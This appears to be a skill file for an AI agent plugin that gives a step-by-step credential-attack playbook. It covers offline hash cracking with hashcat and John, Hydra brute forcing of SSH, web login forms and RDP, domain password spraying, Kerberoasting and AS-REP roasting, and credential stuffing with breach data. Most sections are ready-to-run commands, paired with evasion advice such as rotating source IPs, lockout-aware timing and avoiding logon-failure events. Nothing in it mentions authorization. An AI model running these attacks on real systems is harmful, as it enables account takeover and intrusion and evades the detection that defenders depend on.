Password Attacks

Full-spectrum credential attack skill covering offline hash cracking, online service brute forcing, domain password spraying, targeted wordlist generation, Kerberos ticket attacks, and credential stuffing with breach data. Choose the right attack class, tool, and OPSEC posture based on the scenario.

Why This Matters

Weak, reused, and default credentials remain the most common initial access vector across every engagement type. A single cracked hash can escalate from low-privilege foothold to domain admin. Password spraying bypasses per-account lockout policies. Breach credential reuse turns old leaks into fresh access. This skill covers every angle.

Decision Tree — Choosing Your Attack

Before touching a tool, classify the scenario:

Do you have hashes/credentials offline?
├── YES → OFFLINE ATTACKS
│   ├── Know the hash type? → hashcat/john with correct mode
│   ├── Unknown hash type? → hashid/hash-identifier first
│   ├── Windows hashes (NTLM)? → hashcat -m 1000, pass-the-hash
│   ├── Kerberos tickets? → references/kerberos-attacks.md
│   └── Need custom wordlist? → references/wordlist-generation.md
│
└── NO → ONLINE ATTACKS
    ├── Single target, known creds format? → Hydra/Medusa
    ├── Domain/AD environment? → Password spraying (crackmapexec/kerbrute)
    ├── Have breach data for target users? → Credential stuffing
    ├── Web login form? → Hydra http-post-form / Patator
    └── Need to avoid lockout? → Spray with lockout-aware timing

Methodology — Execution Order

Phase 1 — Intelligence Gathering

Before attacking, gather intelligence that shapes your approach:

1. Password policy: Minimum length, complexity, lockout threshold, lockout duration, password history
2. Target users: Enumerate valid usernames (LDAP, Kerberos, web user enumeration, OSINT)
3. Hash types: Identify exact hash algorithm if you have offline hashes
4. Service versions: Protocol-specific quirks affect tool selection
5. Prior findings: Check if credentials were already found in other phases

# Check for existing credential findings
node ${CLAUDE_PLUGIN_ROOT}/scripts/findings-tracker.js search credential
node ${CLAUDE_PLUGIN_ROOT}/scripts/findings-tracker.js search password

# Check what techniques have already been tried
node ${CLAUDE_PLUGIN_ROOT}/scripts/techniques-tracker.js search "brute\|spray\|crack\|password"

Phase 2 — Hash Identification (Offline Only)

When you have hashes, identify them before cracking. Wrong mode = wasted time.

# Automated identification
hashid '<hash_value>'
hashid -m '<hash_value>'  # Show hashcat mode numbers

# hash-identifier (interactive but useful for ambiguous hashes)
hash-identifier

Quick identification by format:

See references/hash-cracking.md for exhaustive hash type reference and cracking strategies.

Phase 3 — Offline Cracking

Hashcat (GPU-accelerated, preferred for speed): Load: ToolSearch -> select:mcp__hexstrike-ai__hashcat_crack

# Dictionary attack
hashcat -m <mode> -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Dictionary + rules
hashcat -m <mode> -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Mask attack (8-char: uppercase + 6 lower + digit)
hashcat -m <mode> -a 3 hashes.txt '?u?l?l?l?l?l?l?d'

# Hybrid: wordlist + mask append
hashcat -m <mode> -a 6 hashes.txt /usr/share/wordlists/rockyou.txt '?d?d?d?d'

# Show cracked passwords
hashcat -m <mode> hashes.txt --show

John the Ripper (CPU, good format detection, rule engine): Load: ToolSearch -> select:mcp__hexstrike-ai__john_crack

# Auto-detect format, wordlist attack
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Specify format explicitly
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Wordlist + rules
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hashes.txt

# Show cracked passwords
john --show hashes.txt

See references/hash-cracking.md for GPU optimization, advanced rule strategies, and full mode reference.

Phase 4 — Online Attacks

Hydra (multi-protocol, most versatile): Load: ToolSearch -> select:mcp__hexstrike-ai__hydra_attack

# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.1 -t 4

# HTTP POST form
hydra -l admin -P wordlist.txt 10.10.10.1 http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid credentials" -t 4

# RDP with rate limiting
hydra -l administrator -P wordlist.txt rdp://10.10.10.1 -t 1 -W 3

OPSEC for online attacks:

• Check lockout policy BEFORE attacking — net accounts /domain or LDAP query
• Start with 1-4 threads for sensitive targets
• Add -W <seconds> wait time between attempts per thread
• Monitor for 429/503 responses indicating rate limiting
• Rotate source IPs with proxychains if available
• Log ALL attempts — failed logins generate events

See references/online-attacks.md for full protocol coverage and lockout avoidance.

Phase 5 — Password Spraying

Spray one password across many accounts — bypasses per-account lockout.

# Domain spray with crackmapexec
crackmapexec smb 10.10.10.1 -u users.txt -p 'Company2024!' --continue-on-success

# Kerberos-based spray (no failed logon events on target)
kerbrute passwordspray -d corp.local --dc 10.10.10.1 users.txt 'Summer2024!'

Spray strategy:

1. One password per lockout window (e.g., every 30 minutes)
2. Start with seasonal patterns: Season+Year+! (e.g., Winter2025!)
3. Then company-specific: CompanyName+digits+special
4. Monitor for successful auth AND lockout indicators

See references/password-spraying.md for full methodology and common password patterns.

Phase 6 — Kerberos Attacks

When targeting Active Directory, Kerberos tickets provide offline cracking opportunities without triggering logon failure events.

# Kerberoasting — request TGS tickets for service accounts
impacket-GetUserSPNs -request -dc-ip 10.10.10.1 corp.local/user:password -outputfile kerberoast.txt

# AS-REP Roasting — target accounts without pre-auth
impacket-GetNPUsers -usersfile users.txt -no-pass -dc-ip 10.10.10.1 corp.local/ -outputfile asrep.txt

# Crack extracted tickets
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

See references/kerberos-attacks.md for golden/silver tickets, delegation attacks, and full AD credential attack chains.

Phase 7 — Credential Stuffing

When breach data is available, test credential reuse across target services.

# Deduplicate and format combo list (email:password)
sort -u -t: -k1,1 breach_data.txt > deduped_combos.txt

# Test against web login
hydra -C deduped_combos.txt 10.10.10.1 http-post-form \
  "/login:email=^USER^&password=^PASS^:F=Invalid" -t 2

# Test against multiple services
crackmapexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --no-bruteforce

See references/credential-stuffing.md for breach data handling, multi-service testing, and detection avoidance.